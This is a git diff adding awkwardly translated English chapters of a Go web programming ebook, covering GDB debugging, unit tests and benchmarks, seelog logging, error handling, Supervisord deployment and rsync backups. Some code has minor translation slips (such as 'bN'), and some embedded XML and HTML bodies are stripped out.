bus { + fmt.Println("count:", count) + } + } + + +Compiled file, an executable file gdbfile: + + go build -gcflags "-N -l" gdbfile.go + +By GDB command to start debugging : + + gdb gdbfile + +After the first start is not possible to look at this program up and running, just enter the `run` command carriage return after the program starts to run, the program correctly, then you can see the program output is as follows, and we execute the program directly from the command line output is the same: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] + +Well, now we know how to make the program run up, then began to give the code to set a break point : + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +The above example shows the `b 23` set a break point on line 23, then enter `run` start the program running. The program now in place to set a break point in front stopped, we need to look at the context of the break point corresponding source code, enter `list` you can see the display from the current source line before stopping five starts : + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +GDB now running the current program environment has retained some useful debugging information, we just print out the corresponding variables, see the corresponding variable types and values: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +Then let the program continue down the execution, please read the following command: + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +After each entry `c` code will be executed once, and jump to the next for loop, continue to print out the appropriate information. + +Assume that current need to change the context variables, skipping the process and continue to the next step, the modified desired results obtained : + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +Finally a little thought, in front of the entire program is running in the process in the end created a number goroutine, each goroutine are doing : + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +Commands by viewing goroutines we can clearly understand goruntine performed internally how each function call sequence has plainly shown. + +## Summary + +In this section we introduce the GDB debugger Go program some basic commands, including the `run`, `print`, `info`, `set variable`, `continue`, `list`, `break` and other frequently used debugging commands, by the above examples demonstrate, I believe, through the GDB debugger for the reader has a basic understanding of Go programs, if you want to get more debugging tips, please refer to the official website of the GDB debugger manual, as well as the official website of the GDB manual. + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling](11.1.md) +- Next section: [Write test cases](11.3.md) diff --git a/en/eBook/11.3.md b/en/eBook/11.3.md new file mode 100644 index 00000000..92d4a6a6 --- /dev/null +++ b/en/eBook/11.3.md @@ -0,0 +1,163 @@ +# 11.3 Write test cases + +Development process in which a very important point is to test, how do we ensure the quality of code, how to ensure that each function is run, the results are correct, and how to ensure that write out the code performance is good, we know that the focus of the unit test program is to find a logic error in design or implementation, the problem early exposure to facilitate the positioning of the problem solved, and performance testing focuses on program design found some problems, so that the program can be online in the case of high concurrency can keep stability. This section will take this series of questions to explain how the Go language to implement unit testing and performance testing. + +Go language comes with a lightweight testing framework `testing` and comes with `go test` command to implement unit testing and performance testing, `testing` framework and other similar language testing framework, you can be based on this framework to write test cases for the corresponding function can also be written based on the framework of the corresponding pressure test, then let's look at how to write eleven. + +## How to write test cases + +Since `go test` command can only be executed under a corresponding directory of all files, so we are going to create a new project directory `gotest`, so that all of our code and test code are in this directory. + +Next, we create two files in the directory below: gotest.go and gotest_test.go + +1. Gotest.go: The document which we have created a package, which has a function in a division operation: + +
package gotest
+	
+	import (
+		"errors"
+	)
+	
+	func Division(a, b float64) (float64, error) {
+		if b == 0 {
+			return 0, errors.New("Divisor can not be 0")
+		}
+		return a / b, nil
+	}
+ +2. Gotest_test.go: This is our unit test files, but keep the following principles: + +- File names must be `_test.go` end, so in the implementation of `go test` will be executed when the appropriate code +- You have to import `testing` this package +- All test cases functions must be the beginning of `Test` +- Test case will follow the source code written in the order execution +- Test function `TestXxx()` argument is `testing.T`, we can use this type to record errors or test status +- Test format: `func TestXxx(t * testing.T)`, `Xxx` section can be any combination of alphanumeric, but can not be the first letter lowercase letters [az], for example, `Testintdiv` wrong function name. +- Function by calling `testing.T` a `Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf` method, the test is not passed, calling `Log` test method is used to record the information. + +Here is our test code: + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + // try a unit test on function + if i, e := Division(6, 2); i != 3 || e != nil { + // If it is not as expected, then the error + t.Error("division function tests do not pass ") + } else { + // record some of the information you expect to record + t.Log("first test passed ") + } + } + + func Test_Division_2(t *testing.T) { + t.Error("just do not pass") + } + + +We perform in the project directory `go test`, it will display the following information: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.013s + +From this result shows the test does not pass, because in the second test function we wrote dead do not pass the test code `t.Error`, then our first case of how a function performs like it ? By default, execute `go test` is not displayed test information, we need to bring arguments `go test-v`, this will display the following information: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.012s + +The above output shows in detail the process of this test, we see that the test function 1 `Test_Division_1` test, and the test function 2 `Test_Division_2` test fails, finally concluded that the test is not passed. Next we modified the test function 2 the following code: + + func Test_Division_2(t *testing.T) { + // try a unit test on function + if _, e := Division(6, 0); e == nil { + // If it is not as expected, then the error + t.Error("Division did not work as expected.") + } else { + // record some of the information you expect to record + t.Log("one test passed.", e) + } + } + +Then we execute `go test-v`, the following information is displayed, the test passes: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go: 20: one test passed. divisor can not be 0 + PASS + ok gotest 0.013s + +## How to write stress test + +Stress testing is used to detect function ( method ) performance, and writing unit functional testing method similar are not mentioned here, but need to pay attention to the following points: + +- Pressure test must follow the following format, where XXX can be any combination of alphanumeric, but can not be the first letter lowercase letters + + func BenchmarkXXX (b *testing.B){...} + +- `Go test` does not default to perform stress tests of function, if you want to perform stress tests need to bring arguments `-test.bench`, syntax: `-test.bench =" test_name_regex "`, such as `go test-test. bench = ". *" ` all of the stress test indicates the test function +- In the pressure test, please remember to use the loop body `testing.BN`, so that the test can be normal operation +- File name must end with `_test.go` + +Here we create a stress test file webbench_test.go, the code is as follows: + + package gotest + + import ( + "testing" + ) + + func Benchmark_Division(b *testing.B) { + for i := 0; i < bN; i++ { // use bN for looping + Division(4, 5) + } + } + + func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() // call the function to stop the stress test time count + + // Do some initialization work, such as reading file data, database connections and the like, + // So we test these times do not affect the performance of the function itself + + b.StartTimer() // re- start time + for i := 0; i < b.N; i++ { + Division(4, 5) + } + } + + + +We execute the command `go test-file webbench_test.go-test.bench =". * "`, You can see the following results: + + PASS + Benchmark_Division 500000000 7.76 ns/ op + Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op + ok gotest 9.364s + +The above results show that we did not perform any `TestXXX` unit test functions, the results show only a function of stress tests carried out, the first show `Benchmark_Division` executed 500 million times the average execution time is 7.76 ns, the second shows the `Benchmark_TimeConsumingFunction` executed 500 million each, the average execution time is 7.80 ns. Finally a show total execution time. + +## Summary + +On the face of unit testing and stress testing of learning, we can see the `testing` package is very lightweight, and write unit tests and stress test is very simple, with built-in `go test` command can be very convenient for testing, so every time we have finished modifying code, click go test execution can simply complete regression testing. + +## Links + +- [Directory](preface.md) +- Previous section: [Debugging by using GDB](11.2.md) +- Next section: [Summary](11.4.md) diff --git a/en/eBook/11.4.md b/en/eBook/11.4.md new file mode 100644 index 00000000..39b2a46d --- /dev/null +++ b/en/eBook/11.4.md @@ -0,0 +1,9 @@ +# 11.4 Summary + +In this chapter we were introduced through three subsections Go language how to handle errors, how to design error handling, and then a second section describes how to GDB debugger GDB we can single-step through the debugger, you can view variables, modify variables, print implementation process, etc. Finally, we describe how to use the Go language comes with a lightweight frame `testing` to write unit tests and stress tests, the use of `go test` you can easily perform these tests allow us in the future to modify the code after upgrade very convenient for regression testing. Perhaps for this chapter you write application logic without any help, but for you to write out the program code is essential to maintain high quality, because a good Web application must have good error handling mechanism(error of friendly, scalability), there is a good unit testing and stress testing to ensure on-line after the code is able to maintain good performance and runs as expected. + +## Links + +- [Directory](preface.md) +- Previous section: [Write test cases](11.3.md) +- Next chapter: [Deployment and maintenance](12.0.md) diff --git a/en/eBook/12.0.md b/en/eBook/12.0.md new file mode 100644 index 00000000..ca0b2827 --- /dev/null +++ b/en/eBook/12.0.md @@ -0,0 +1,11 @@ +# 12 Deployment and maintenance + +So far, we have already described how to develop programs, debugger, and test procedures, as is often said: the development of the last 10% takes 90% of the time, so this chapter we will emphasize this last part of the 10% to truly become the most trusted and used by outstanding application, you need to consider some of the details of the above-mentioned 10% refers to these small details. + +In this chapter we will be four sections to introduce these small details of the deal, the first section describes how to program production services recorded on the log, how to logging, an error occurs a second section describes how to deal with our program, how to ensure as far as possible less impact to the user's access to, and the third section describes how to deploy Go standalone program, due to the current Go programs that can not be written as C daemon, then the process of how we manage the program running in the background so it? The fourth section describes the application of data backup and recovery, try to ensure that applications crash can maintain data integrity. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 11 summary](11.4.md) +- Next section: [Logs](12.1.md) diff --git a/en/eBook/12.1.md b/en/eBook/12.1.md new file mode 100644 index 00000000..1a109822 --- /dev/null +++ b/en/eBook/12.1.md @@ -0,0 +1,177 @@ +# 12.1 Logs + +We look forward to developing Web applications able to run the entire program of various events occurring during record each, Go language provides a simple log package, we use the package can easily achieve logging features, these log are based on the combined package fmt print function like panic for general printing, throwing error handling. Go current standard package only contains a simple function, if we want our application log to a file, and then to combine log achieve a lot of complex functions( written a Java or C++, the reader should have used log4j and log4cpp like logging tool ), you can use third-party developers a logging system, `https://github.com/cihub/seelog`, which implements a very powerful logging functions. Next, we describe how the system through the log to achieve our application log function. + +## Seelog Introduction + +seelog with Go language of a logging system, it provides some simple function to implement complex log distribution, filtering, and formatting. Has the following main features: + +- XML dynamic configuration, you can not recompile the program and dynamic load configuration information +- Supports hot updates, the ability to dynamically change the configuration without the need to restart the application +- Support multi- output stream that can simultaneously output the log to multiple streams, such as a file stream, network flow, etc. +- Support for different log output + + - Command line output + - File Output + - Cached output + - Support log rotate + - SMTP Mail + +The above is only a partial list of features, seelog is a particularly powerful log processing systems, see the detailed contents of the official wiki. Next, I will briefly describe how to use it in your project: + +First install seelog + + go get -u github.com/cihub/seelog + +Then we look at a simple example: + + package main + + import log "github.com/cihub/seelog" + + func main() { + defer log.Flush() + log.Info("Hello from Seelog!") + } + + +When compiled and run if there is a `Hello from seelog`, description seelog logging system has been successfully installed and can be a normal operation. + +## Based seelog custom log processing + +seelog support custom log processing, the following is based on its custom log processing part of the package: + + + package logs + + import ( + "errors" + "fmt" + seelog "github.com/cihub/seelog" + "io" + ) + + var Logger seelog.LoggerInterface + + func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + + ` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) + } + + func init() { + DisableLog() + loadAppConfig() + } + + // DisableLog disables all library log output + func DisableLog() { + Logger = seelog.Disabled + } + + // UseLogger uses a specified seelog.LoggerInterface to output library log. + // Use this func if you are using Seelog logging system in your app. + func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger + } + + +Above the main achievement of the three functions, + +- `DisableLog` + +Logger initialize global variables as seelog disabled state, mainly in order to prevent the Logger was repeatedly initialized +- `LoadAppConfig` + +Depending on the configuration file to initialize seelog configuration information, where we read the configuration file by string set up, of course, you can read the XML file. Inside the configuration is as follows: + +- Seelog + +minlevel parameter is optional, if configured, is higher than or equal to the level of the log will be recorded, empathy maxlevel. +- Outputs + +Output destination, where data is divided into two, one record to the log rotate file inside. Another set up a filter, if the error level is critical, it will send alarm messages. + +- Formats + +Log format defines various + +- `UseLogger` + +Set the current logger for the corresponding log processing + +Above we defined a custom log processing package, the following example is to use: + + package main + + import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" + ) + + func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) + } + +## An error occurred mail + +The above example explains how to set up email, we adopted the following smtp configured to send e-mail: + + + + + +The format of the message through criticalemail configuration, and then send messages through other configuration server configuration, configured to receive mail through the recipient user, if there are multiple users can add one line. + +To test this code is working correctly, you can add code similar to the following one false news. But remember that after should delete it, otherwise you will receive on-line after a lot of junk e-mail. + + logs.Logger.Critical("test Critical message") + +Now, as long as our application online record a Critical information that you will receive an e-mail Email, so that once the online system problems, you can immediately informed by e-mail, you can timely processing. + +## Using the Application log + +For the application logs, each person's application scenarios may vary, and some people use to do data analysis application logs, some people use the application logs do performance analysis, analysis of user behavior that some people do, and some is pure record, to facilitate the application of a problem when the auxiliary find the problem. + +As an example, we need to track a user attempts to log in the system operation. This will successful and unsuccessful attempts to record. Record the successful use of "Info" log level, rather than the successful use of "warn" level. If you want to find all unsuccessful landing, we can use the linux command tools like grep, as follows: + + # cat /data/logs/roll.log | grep "failed login" + 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password + +In this way we can easily find the appropriate information, this will help us to do something for the application log statistics and analysis. In addition, we also need to consider the size of the log, for a high- traffic Web applications, log growth is quite terrible, so we seelog configuration files which set up logrotate, so that we can ensure that the log file will not be changing large and lead us not enough disk space can cause problems. + +## Summary + +On the face of seelog system and how it can be customized based on the learning log system, and now we can easily construct a suitable demand powerful log processing the system. Data analysis log processing system provides a reliable data source, such as through the log analysis, we can further optimize the system, or application problems arise easy to find location problem, another seelog also provides a log grading function, through the configuration for min-level, we can easily set the output test or release message level. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment and maintenance](12.0.md) +- Next section: [Errors and crashes](12.2.md) diff --git a/en/eBook/12.2.md b/en/eBook/12.2.md new file mode 100644 index 00000000..54408a0f --- /dev/null +++ b/en/eBook/12.2.md @@ -0,0 +1,141 @@ +# 12.2 Errors and crashes + +Our on-line soon after the Web application, then the probability of various error has occurred, Web applications may be a variety of daily operation errors, specifically as follows: + +- Database error: refers to access the database server or data -related errors. For example, the following may occur some database errors. + +- Connection Error: This type of error may be disconnected from the network database server, user name, password is incorrect, or the database does not exist. +- Query Error: illegal use of SQL cause an error like this SQL error if the program through rigorous testing should be avoided. +- Data Error: database constraint violation, such as a unique field to insert a duplicate primary key values ​​will complain, but if your application on-line through a rigorous testing before also avoid such problems. +- Application Runtime Error: This type of error range is very wide, covering almost all appear in the code error. Possible application errors are as follows: + +- File system and permissions: application to read the file does not exist, or do not have permission to read the file, or written to a file is not allowed to write, which will result in an error. If the application reads the file format is not correct will be given, such as configuration files should be INI configuration format, and set into JSON format an error. +- Third-party applications: If our application interfaces coupled with other third-party programs, such as articles published after the application automatically calls the hair micro-blogging interface, so the interface must be running to complete the function we publish an article. + +- HTTP errors: These errors are based on the user's request errors, the most common is the 404 error. While there may be many different errors, but also one of the more common error 401 Unauthorized error( authentication is required to access the resource ), 403 Forbidden error( do not allow users to access resources ) and 503 error( internal program error ). +- Operating system error: These errors are due to the application on the operating system error caused mainly operating system resources are allocated over, leading to crashes, as well as the operating system disk is full, making it impossible to write, so it will cause a lot of errors. +- Network error: error refers to two aspects, one is the application when the user requests a network disconnection, thus disrupt the connection, this error does not cause the application to crash, but it will affect the effect of user access ; another on the one hand is an application to read the data on other networks, other network disconnect can cause read failures, such an application needs to do effective testing, to avoid such problems arise in case the program crashes. + +## Error processing of the target + +Error handling in the realization, we must be clear error handling is what you want to achieve, error handling system should accomplish the following tasks: + +- Notification access user errors: the matter is that a system error occurs, or user error, the user should be aware Web applications is a problem, the user 's current request could not be completed correctly. For example, a request for user error, we show a unified error page(404.html). When a system error occurs, we passed a custom error page display system is temporarily unavailable kind of error page(error.html). +- Record error: system error, generally what we call the function to return the case err is not nil, you can use the front section describes the system log to a log file. If it is some fatal error, the system administrator is notified via e-mail. General 404 such mistakes do not need to send messages to the log system only needs to record. +- Rollback the current request: If a user requests occurred during a server error, then the need to roll back the operation has been completed. Let's look at an example: a system will save the user submitted the form to the database, and to submit this data to a third-party server, but third-party server hung up, which resulted in an error, then the previously stored form data to a database should delete( void should be informed ), and should inform the user of the system error. +- Ensure that the existing program can be run to serve: We know that no one can guarantee that the program will be able to have a normal running, if one day the program crashes, then we need to log the error, and then immediately let the program up and running again, let the program continue to provide services, and then notify the system administrator through the logs to identify problems. + +## How to handle errors + +Error Handling In fact, we have eleven chapters in the first section which has been how to design error handling, here we have another example from a detailed explanation about how to handle different errors: + +- Notify the user errors: + +Notify the user when accessing the page we can have two kinds of errors: 404.html and error.html, the following were the source of the error page displays: + + + + + + Page Not Found + + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +Another source: + + + + + + system error page + + + + + + +
+
+
+
+

system is temporarily unavailable !

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +Error handling logic 404, an error if the system operation is similar, and we see that: + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error(" page not found") //error logging + t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file + ErrorInfo := " File not found " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical(" System Error") //system error triggered Critical, then logging will not only send a message + t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file + ErrorInfo := " system is temporarily unavailable " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + +## How to handle exceptions + +We know that in many other languages ​​have try... catch keywords used to capture the unusual situation, but in fact, many errors can be expected to occur without the need for exception handling, should be handled as an error, which is why the Go language using the function returns an error of design, these functions do not panic, for example, if a file is not found, os.Open returns an error, it will not panic; if you break the network connection to a write data, net.Conn series Type the Write function returns an error, they do not panic. These states where such procedures are to be expected. You know that these operations might fail, an error is returned because the designer has used a clear indication of this. This is the above stated error can be expected to occur. + +But there is a situation, there are some operations almost impossible to fail, and in certain cases there is no way to return an error and can not continue, such a situation should panic. For example: if a program to calculate x [j], but j bounds, and this part of the code will lead to panic, like this one unexpected fatal error will cause panic, by default it will kill the process, it this allows a part of the code that is running from the error occurred panic goroutine recover operation, the occurrence of panic, the function of this part of the code and the code behind not be executed, which is specially designed such that Go, as separate from the errors and abnormal, panic fact exception handling. The following code, we expect to get the User via uid the username information, but if uid crossed the line will throw an exception, this time if we do not recover mechanism, the process will be killed, resulting in non- service program. So in order to process robustness, in some places need to establish recover mechanism. + + func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return + } + +The above describes the difference between errors and exceptions, so when we develop programs how to design it? The rules are simple: If you define a function may fail, it should return an error. When I call other package 's function, if this function is implemented well, I do not need to worry that it will panic, unless there is a true exception to happen, nor even that I should go with it. The panic and recover for its own development package which implements the logic to design for some special cases. + +## Summary + +This section summarizes when we deployed Web application how to handle various error: network error, database error, operating system errors, etc., when an error occurs, our program how to correctly handle: Show friendly error interface, rollback, logging, notify the administrator and other operations, and finally explains how to correctly handle errors and exceptions. General program errors and exceptions easily confused, but errors and exceptions in Go is a clear distinction, so tell us in a program designed to handle errors and exceptions should follow the principles of how to. + +## Links + +- [Directory](preface.md) +- Previous section: [Logs](12.1.md) +- Next section: [Deployment](12.3.md) diff --git a/en/eBook/12.3.md b/en/eBook/12.3.md new file mode 100644 index 00000000..505350aa --- /dev/null +++ b/en/eBook/12.3.md @@ -0,0 +1,193 @@ +# 12.3 Deployment + +After completion of the development program, we now want to deploy Web applications, but how do we deploy these applications do ? Because after compiling Go programs is an executable file, written a C program using daemon readers must know you can achieve the perfect background program runs continuously, but still not perfect at present Go realization daemon, therefore, for a Go application deployment, we can use third-party tools to manage, there are many third-party tools, such as Supervisord, upstart, daemon tools, etc. This section describes my own system using current tools Supervisord. + +## Daemon + +Currently Go programs can not be achieved daemon, see the Go detailed language bug: <`http://code.google.com/p/go/issues/detail?id=227`>, probably mean that it is difficult from the the use of existing fork a thread out, because there is no simple way to ensure that all the threads have used state consistency problem. + +But we can see some implementations daemon many online methods, such as the following two ways: + +- MarGo an implementation of the idea of using Command to run their own applications, if you really want to achieve, it is recommended that such programs + +
+	d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
+	if *d {
+		cmd := exec.Command(os.Args[0],
+			"-close-fds",
+			"-addr", *addr,
+			"-call", *call,
+		)
+		serr, err := cmd.StderrPipe()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		err = cmd.Start()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		s, err := ioutil.ReadAll(serr)
+		s = bytes.TrimSpace(s)
+		if bytes.HasPrefix(s, []byte("addr: ")) {
+			fmt.Println(string(s))
+			cmd.Process.Release()
+		} else {
+			log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
+			cmd.Process.Kill()
+		}
+	}
+
+ +- Another solution is to use the syscall, but this solution is not perfect: + +
+	package main
+	 
+	import (
+		"log"
+		"os"
+		"syscall"
+	)
+	 
+	func daemon(nochdir, noclose int) int {
+		var ret, ret2 uintptr
+		var err uintptr
+	 
+		darwin := syscall.OS == "darwin"
+	 
+		// already a daemon
+		if syscall.Getppid() == 1 {
+			return 0
+		}
+	 
+		// fork off the parent process
+		ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
+		if err != 0 {
+			return -1
+		}
+	 
+		// failure
+		if ret2 < 0 {
+			os.Exit(-1)
+		}
+	 
+		// handle exception for darwin
+		if darwin && ret2 == 1 {
+			ret = 0
+		}
+	 
+		// if we got a good PID, then we call exit the parent process.
+		if ret > 0 {
+			os.Exit(0)
+		}
+	 
+		/* Change the file mode mask */
+		_ = syscall.Umask(0)
+	 
+		// create a new SID for the child process
+		s_ret, s_errno := syscall.Setsid()
+		if s_errno != 0 {
+			log.Printf("Error: syscall.Setsid errno: %d", s_errno)
+		}
+		if s_ret < 0 {
+			return -1
+		}
+	 
+		if nochdir == 0 {
+			os.Chdir("/")
+		}
+	 
+		if noclose == 0 {
+			f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
+			if e == nil {
+				fd := f.Fd()
+				syscall.Dup2(fd, os.Stdin.Fd())
+				syscall.Dup2(fd, os.Stdout.Fd())
+				syscall.Dup2(fd, os.Stderr.Fd())
+			}
+		}
+	 
+		return 0
+	}
+
+ +The above proposed two implementations Go's daemon program, but I still do not recommend you to realize this, because the official announcement has not officially support daemon, of course, the first option is more feasible for now, but it is currently open source library skynet in adopting this program do daemon. + +## Supervisord + +Go has been described above, there are two options currently are to realize his daemon, but the government itself does not support this one, so it is recommended that you use sophisticated tools to manage our third-party applications, here I'll give you a present more extensive use of process management software: Supervisord. Supervisord is implemented in Python a very useful process management tool. supervisord will help you to manage applications into daemon process, but can be easily turned on via the command, shut down, restart, etc, and it is managed by the collapse will automatically restart once the process so that you can ensure that the program execution is interrupted in the case there are self-healing capabilities. + +> I stepped in front of a pit in the application, because all applications are made Supervisord parent born, then when you change the operating system file descriptor after, do not forget to restart Supervisord, light restart following application program useless. I just had the system installed after the first installed Supervisord, then start the deployment process, modify the file descriptor, restart the program, that the file descriptor is already 100,000, but in fact Supervisord this time or the default 1024, led him to manage the process All descriptors is 1024. pressure after opening up the system to start a newspaper run out of file descriptors, search for a long time to find the pit. + +### Supervisord installation + +Supervisord can `sudo easy_install supervisor` installation, of course, can also Supervisord official website to download, unzip and go to the folder where the source code, run `setup.py install` to install. + +- Must be installed using easy_install setuptools + +Open the `http://pypi.python.org/pypi/setuptools# files`, depending on your system version of python download the appropriate file, and then execute `sh setuptoolsxxxx.egg`, so that you can use easy_install command to install Supervisord. + +### Supervisord Configure + +Supervisord default configuration file path is `/etc/supervisord.conf`, through a text editor to modify this file, the following is a sample configuration file: + + ;/etc/supervisord.conf + [unix_http_server] + file = /var/run/supervisord.sock + chmod = 0777 + chown= root:root + + [inet_http_server] + # Web management interface settings + port=9001 + username = admin + password = yourpassword + + [supervisorctl] + ; Must 'unix_http_server' match the settings inside + serverurl = unix:///var/run/supervisord.sock + + [supervisord] + logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=true ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + user=root ; (default is current user, required if root) + childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + ; Manage the configuration of a single process, you can add multiple program + [program: blogdemon] + command =/data/blog/blogdemon + autostart = true + startsecs = 5 + user = root + redirect_stderr = true + stdout_logfile =/var/log/supervisord/blogdemon.log + +### Supervisord management + +After installation is complete, there are two Supervisord available command line supervisor and supervisorctl, command explained as follows: + +- Supervisord, initial startup Supervisord, start, set in the configuration management process. +- Supervisorctl stop programxxx, stop one process(programxxx), programxxx for the [program: blogdemon] in configured value, this example is blogdemon. +- Supervisorctl start programxxx, start a process +- Supervisorctl restart programxxx, restarting a process +- Supervisorctl stop all, stop all processes, Note: start, restart, stop will not load the latest configuration files. +- Supervisorctl reload, load the latest configuration file, and press the new configuration to start, manage all processes. + +## Summary + +This section we describe how to implement daemon of the Go, but due to the current lack of Go-daemon implementation, need to rely on third-party tools to achieve the application daemon management approach, so here describes a process using python to write management tools Supervisord by Supervisord can easily put our Go up and application management. + + +## Links + +- [Directory](preface.md) +- Previous section: [Errors and crashes](12.2.md) +- Next section: [Backup and recovery](12.4.md) diff --git a/en/eBook/12.4.md b/en/eBook/12.4.md new file mode 100644 index 00000000..62e6098a --- /dev/null +++ b/en/eBook/12.4.md @@ -0,0 +1,185 @@ +# 12.4 Backup and recovery + +This section we discuss another aspect of application management: production server data backup and recovery. We often encounter the production server network is broken, bad hard drive, operating system crash, or if the database is unavailable a variety of unusual circumstances, so maintenance personnel need to produce applications and data on the server to do remote disaster recovery, cold prepare hot standby ready. In the next presentation, explained how the backup application, how to backup/restore MySQL database and Redis databases. + +## Application Backup + +In most cluster environment, Web applications, the basic need for backup, because this is actually a copy of the code, we are in the local development environment, or the version control system has to maintain the code. But many times, a number of development sites require users to upload files, then we need for these users to upload files for backup. In fact, now there is a suitable approach is to put the needs and site-related files stored on the storage to the cloud storage, so even if the system crashes, as long as we still cloud file storage, at least the data is not lost. + +If we do not adopt cloud storage case, how to do a backup site do ? Here we introduce a file synchronization tool rsync: rsync backup site can be achieved in different file system synchronization, If the windows, then, need windows version cwrsync. + +### Rsync installation + +rsync 's official website: http://rsync.samba.org/can get the latest version from the above source. Of course, because rsync is a very useful software, so many Linux distributions will include it, including the. + +Package Installation + + # sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ; + # yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ; + # rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ; + +Other Linux distributions, please use the appropriate package management methods to install. Installing source packages + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure - prefix =/usr; make; make install + +
Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job
